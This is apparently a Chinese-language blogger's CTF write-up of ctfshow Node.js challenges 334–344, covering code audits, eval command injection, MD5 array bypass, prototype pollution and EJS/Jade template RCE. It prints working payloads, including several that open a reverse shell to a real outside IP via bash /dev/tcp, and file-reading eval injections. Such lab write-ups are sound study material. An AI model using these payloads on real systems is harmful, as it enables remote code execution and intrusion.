nodejs-原型污染链

还是老规矩,边写边学,先分享两篇文章

深入理解 JavaScript Prototype 污染攻击 | 离别歌

《JavaScript百炼成仙》 全书知识点整理-CSDN博客

Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客

334-js审计

javascript 复制代码
var express = require('express');
// 引入 Express 框架,这是一个流行的 Node.js Web 应用框架,用于构建服务器和处理 HTTP 请求。

var router = express.Router();
// 创建一个路由器对象,用于定义路由中间件和路由句柄。路由器可以模块化地管理路由。

var users = require('../modules/user').items;
// 引入用户模块中的用户数据,假设用户模块导出了一个包含用户信息的对象或数组。

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};
// 定义一个查找用户函数,用于在用户数据中查找匹配的用户名和密码的用户。
// 参数:
//   name: 用户名
//   password: 密码
// 返回值:
//   如果找到匹配的用户,返回该用户对象;否则返回 undefined。
// 逻辑:
//   首先检查用户名是否不等于 'CTFSHOW',这是为了避免某些特殊情况或保留用户名的登录。
//   然后将用户名转换为大写(name.toUpperCase()),以实现不区分大小写的用户名匹配。
//   最后检查用户的密码是否与提供的密码匹配。

/* GET home page. */
// 这是一个注释,表示下面的路由处理函数是用于处理首页的 GET 请求。
// 但实际上,下面的代码是处理 POST 请求,可能是注释有误。

router.post('/', function(req, res, next) {
// 定义一个处理 POST 请求的路由,路径为 '/'。
// 参数:
//   req: 请求对象,包含客户端发送的请求信息。
//   res: 响应对象,用于向客户端发送响应。
//   next: 函数,用于将控制权传递给下一个中间件或路由处理函数。

  res.type('html');
  // 设置响应的内容类型为 HTML,这样浏览器会将响应内容解析为 HTML 页面。

  var flag='flag_here';
  // 定义一个变量 flag,值为 'flag_here',这可能是用于某些特殊功能或测试的标记。

  var sess = req.session;
  // 获取请求对象中的会话对象,用于管理用户会话。

  var user = findUser(req.body.username, req.body.password);
  // 调用 findUser 函数,使用请求体中的用户名和密码查找用户。
  // req.body.username 是客户端发送的用户名,req.body.password 是客户端发送的密码。

  if(user){
  // 如果找到用户,执行以下代码块。

    req.session.regenerate(function(err) {
    // 重新生成会话 ID,这通常用于安全目的,以防止会话固定攻击。
    // 参数:
    //   err: 错误对象,如果重新生成会话 ID 时发生错误,会传递给回调函数。

      if(err){
      // 如果发生错误,执行以下代码块。

        return res.json({ret_code: 2, ret_msg: '登录失败'});
        // 向客户端发送 JSON 响应,表示登录失败,错误代码为 2,消息为 '登录失败'。
        // return 用于立即返回响应,阻止后续代码执行。
      }
       
      req.session.loginUser = user.username;
      // 将找到的用户名存储到会话中,表示用户已登录。

      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
      // 向客户端发送 JSON 响应,表示登录成功,错误代码为 0,消息为 '登录成功',并包含 flag 值。
    });
  }else{
  // 如果未找到用户,执行以下代码块。

    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
    // 向客户端发送 JSON 响应,表示账号或密码错误,错误代码为 1,消息为 '账号或密码错误'。
  }  
});
// 结束路由处理函数的定义。

module.exports = router;
// 导出路由器对象,以便在其他模块中使用该路由。
javascript 复制代码
module.exports = {
// 将模块的 exports 对象设置为一个包含 items 属性的对象,这样其他模块可以通过 require 引入该模块并访问 items 数据。
  items: [
  // 定义一个数组,数组中包含用户对象,用于存储用户信息。
    {username: 'CTFSHOW', password: '123456'}
    // 用户对象,包含用户名和密码属性。
    // username: 'CTFSHOW',表示用户名为 CTFSHOW。
    // password: '123456',表示该用户的密码为 123456。
  ]
};

审计一下代码

javascript 复制代码
   name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

就这段是核心,审计代码知道要让findUser为true,必须要让name!=CTFSHOW,但是转换为大写后等于CTFSHOW,然后密码是123456。显然name为小写就行,即等于ctfshow

所以只需要传参username=ctfshow&password=123456即可(直接登入框打也行)

335 -js命令执行

看源码有点提示。 然后去搜了一些js中eval的用法

eval() - JavaScript | MDN

那不出意外源码就是执行了console.log(eval("2 + 2"));所以接下来要找执行命令的函数,这里显然是用child_process模块,具体可看下面的文章

child_process 子进程 | Node.js v23 文档

先导入child_process模块,再执行命令查看路径

下面3个都可以查看路径,但是只有后两个可以执行命令,具体可以看文章

学习一些payload

Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客

javascript 复制代码
?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('cat f*')
?eval=require('child_process').execSync('ls').toString()
?eval=require('child_process').execSync('cat fl00g.txt').toString()

?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()  //不能通配符

?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

336-exec被过滤

exec被过滤

javascript 复制代码
?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()  //不能通配符

?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

也可以拼接绕过

javascript 复制代码
?eval=require('child_process')['ex'%2B'ecSync']('ls')

还有解法传?eval=__filename可以看到路径为/app/routes/index.js(__filename :返回当前模块文件的绝对路径)

打下面这个payload看到源码

javascript 复制代码
?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')
javascript 复制代码
?eval=require('fs').readdirSync('.')
javascript 复制代码
?eval=require('fs').readFileSync('fl001g.txt')

337-js之语法

javascript 复制代码
var express = require('express'); // 引入express框架,用于创建web服务器
var router = express.Router(); // 创建一个路由对象,用于定义路由规则
var crypto = require('crypto'); // 引入crypto模块,用于加密操作

// 定义一个函数,用于计算字符串的md5值
function md5(s) {
  return crypto.createHash('md5') // 创建一个md5加密算法的hash对象
    .update(s) // 将要加密的字符串传入hash对象
    .digest('hex'); // 将加密后的结果以16进制字符串的形式返回
}

/* GET home page. */ // 定义一个路由规则,当访问首页时触发
router.get('/', function(req, res, next) { // 使用get方法监听根路径'/'的请求
  res.type('html'); // 设置响应的内容类型为html
  var flag='xxxxxxx'; // 定义一个变量flag,值为'xxxxxxx',可能是某种标志或密钥
  var a = req.query.a; // 获取请求参数a的值,req.query用于获取url中的查询参数
  var b = req.query.b; // 获取请求参数b的值
  // 判断a和b是否都存在,且长度相等,且不相等,且a拼接flag后的md5值等于b拼接flag后的md5值
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag); // 如果满足条件,直接返回flag
  }else{
  	res.render('index',{ msg: 'tql'}); // 如果不满足条件,渲染index页面,并传入msg参数值为'tql'
  }
  
});

module.exports = router; // 将路由对象导出,以便在其他文件中使用

这里a,b没限制string,那肯定要用数组绕过。审计代码知道a,b要满足a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)。学习了下面的文章

Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客

方法一

javascript 复制代码
a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同

索引这里只需要满足中括号里面是非数字就行(因为长度要一样),a,b的只随便,比如a[:]=1&b[:]=2,或者a[c]=2&b[f]=3 不管咋样结果都是[object Object]flag{xxx}

方法二

打a[]=x&b[]=x,这样console.log(a+flag)结果是x(同理b也是,所以md5也相等),这个a[0]=x&b[0]=x也行。

方法三

?a[]=x&b=x。首先要知道['a']+flag= = ='a'+flag,所以自然md5加密相同

338-原型链污染

这里再把p神的文章看一下,再做题显然更流畅

深入理解 JavaScript Prototype 污染攻击 | 离别歌

题目给了源码,审计一下源码,,发现两段核心代码

javascript 复制代码
module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

显然这个函数是递归,作用是将 object2 的所有可枚举属性(key)复制到 object1 中。如果属性值key,object2有,object1没有,就直接object2复制给1,这个key如果是__proto__,就可以原型链污染。

再分析下面代码,secert类为空,直接继承了Object类,user也是。所以secert类中没有ctfshow,我们可以通过user污染Object类,在Object类里面加一个ctfshow。判断 secert.ctfshow==='36dboy'时,找不到ctfshow,会从Object里面找。

javascript 复制代码
var express = require('express'); // 引入express框架,用于创建web服务器
var router = express.Router(); // 创建一个路由对象,用于定义路由规则
var utils = require('../utils/common'); // 引入一个自定义的工具模块,路径是相对于当前文件的../utils/common.js

/* GET home page.  */ // 定义一个路由规则,当访问首页时触发
router.post('/', require('body-parser').json(), function(req, res, next) { // 使用post方法监听根路径'/'的请求,并使用body-parser中间件解析json格式的请求体
  res.type('html'); // 设置响应的内容类型为html
  var flag='flag_here'; // 定义一个变量flag,值为'flag_here',可能是某种标志或密钥
  var secert = {}; // 定义一个空对象secert,可能用于存储某些秘密信息
  var sess = req.session; // 获取请求的会话对象,用于管理用户会话
  let user = {}; // 定义一个空对象user,用于存储用户信息
  utils.copy(user, req.body); // 使用utils模块的copy方法将请求体中的数据复制到user对象中
  // 判断secert对象的ctfshow属性是否等于'36dboy'
  if(secert.ctfshow==='36dboy'){
    res.end(flag); // 如果条件满足,直接返回flag
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); // 如果条件不满足,返回一个json格式的响应,包含错误代码和消息
  }
  
});

module.exports = router; // 将路由对象导出,以便在其他文件中使用

在这段代码中,服务器使用 body-parser 中间件来解析 JSON 格式的请求体。因此,客户端需要以 JSON 格式发送数据。所以这里post传json格式的数据,所以最后格式就是post传(记得先登入框抓包,再改数据)

javascript 复制代码
{"__proto__":{"ctfshow":"36dboy"}}

339 -反弹shell污染

题目给了源码,审计一下,发现三段重要的代码

javascript 复制代码
module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }
javascript 复制代码
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
  this.username='';
  this.password='';
}
function normalUser(){
  this.user
}


/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;
javascript 复制代码
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

module.exports = router;

这题多了一个api.js,而且login.js中secert.cftshow===flag,这个flag是不知道的。

javascript 复制代码
Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新
的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。

而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字
符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个
语句的结果。

ctfshow web入门 nodejs 334-341(更新中)_ctfshow web入门 nodejs篇 web334-web344-CSDN博客

javascript 复制代码
 而且res.render在渲染视图模板的时候,会生成一个响应里面有参数传给客户端,然后我们这里第二参数是
query,那么他就会自动去Object寻找值并返回。所以我们只要让Object.prototype下面的query的值为我们想
要执行命令就可以了,这里我们可以通过login.js中的copy方法来执行

接下来login的post打反弹shell

javascript 复制代码
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}

然后路由改为api发包,结果是这样就对

flag在login.js里

下面的paylaod本来按道理可以打,但是打不了 ,后面搜了一下文章,是因为 node 是基于 chrome v8 内核的,运行时,压根就不会有 require 这种关键字,模块加载不进来,自然 shell 就反弹不了了。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require 进行编译。下面的文章很详细可以仔细看看

nodejs - web339 原型链污染 - 《CTF show》 - 极客文档

javascript 复制代码
{"__proto__":{"query":"return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}}

非预期

javascript 复制代码
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"');var __tmp2"}}

340-二次污染链-反弹shell

这题与上题就这有点不同

python 复制代码
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }

上一题从secert对象进行污染,secert对象上一级就是object,所以污染一次就行了。这一题从userinfo对象进行污染,userinfo对象上一级是user对象,user对象上一级就是object,所以需要污染两次。

javascript 复制代码
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}}

开始我有问题,就是为什么不直接将isAdmin的属性污染成true,后面翻了翻资料发现,首先,user是有isAdmin的属性(false),而子类是不能污染父类已有的属性,只能污染父类没有的属性,也就是增加属性,就算你污染了object,当userinfo向上查找是发现user的isadmin属性是false就停止了。所以我们还是污染2次,进行反弹shell

flag在环境变量里,打env即可

341.污染链之ejs模板引擎漏洞。

这题删除了api,login.js也修改了

python 复制代码
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: '登录成功'});  
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }

说实话,有点看不到懂,看来很多文章此题都是直接打payload,说什么打ejs模板引擎漏洞,分享一篇文章吧

文章 - Ejs模板引擎注入实现RCE - 先知社区

python 复制代码
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"');var __tmp2"}}}

login中post打这个paylaod,然后删除payload再次发包即可,flag还是在环境里。

342-343.污染链之jade rce

这题看来很多文章还是没看懂,代码功力太弱了,直接打payload

nodejs - web342 原型链污染 - 《CTF show》 - 极客文档

文章 - 再探 JavaScript 原型链污染到 RCE - 先知社区

依旧login.js中post打这个paylaod(请求头中的"Content-Type"改为"application/json"),然后删除payload再次发包即可,flag还是在环境里。

复制代码
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}}

344

题目页面给了代码

python 复制代码
router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

看代码本来只需传?query={"name":"admin","password":"ctfshow","isVIP"=true},但是正则过滤了8c,2c,还有逗号,所以改成

python 复制代码
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

但是双引号的正则是%22与c连在一起匹配到了正则,所以url编码c即可,最终是

python 复制代码
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
相关推荐
YGY Webgis糕手之路19 小时前
Cesium 快速入门(三)Viewer:三维场景的“外壳”
前端·经验分享·笔记·vue·web
YGY Webgis糕手之路1 天前
Cesium 快速入门(七)材质详解
前端·经验分享·笔记·vue·web
YGY Webgis糕手之路1 天前
Cesium 快速入门(八)Primitive(图元)系统深度解析
前端·经验分享·笔记·vue·web
YGY Webgis糕手之路1 天前
Cesium 快速入门(四)相机控制完全指南
前端·经验分享·笔记·vue·web
YGY Webgis糕手之路1 天前
Cesium 快速入门(六)实体类型介绍
前端·经验分享·笔记·vue·web
YGY Webgis糕手之路1 天前
Cesium 快速入门(一)快速搭建项目
前端·经验分享·笔记·vue·web
白山云北诗1 天前
云原生环境 DDoS 防护:容器化架构下的流量管控与弹性应对
云原生·架构·web·ddos·网站安全·网络攻击·安全防护
OEC小胖胖1 天前
性能优化(一):时间分片(Time Slicing):让你的应用在高负载下“永不卡顿”的秘密
前端·javascript·性能优化·web
旧时光巷2 天前
【Flask 基础 ①】 | 路由、参数与模板渲染
后端·python·零基础·flask·web·模板渲染·路由系统
集成显卡3 天前
Rust 实战三 | HTTP 服务开发及 Web 框架推荐
开发语言·前端·http·rust·web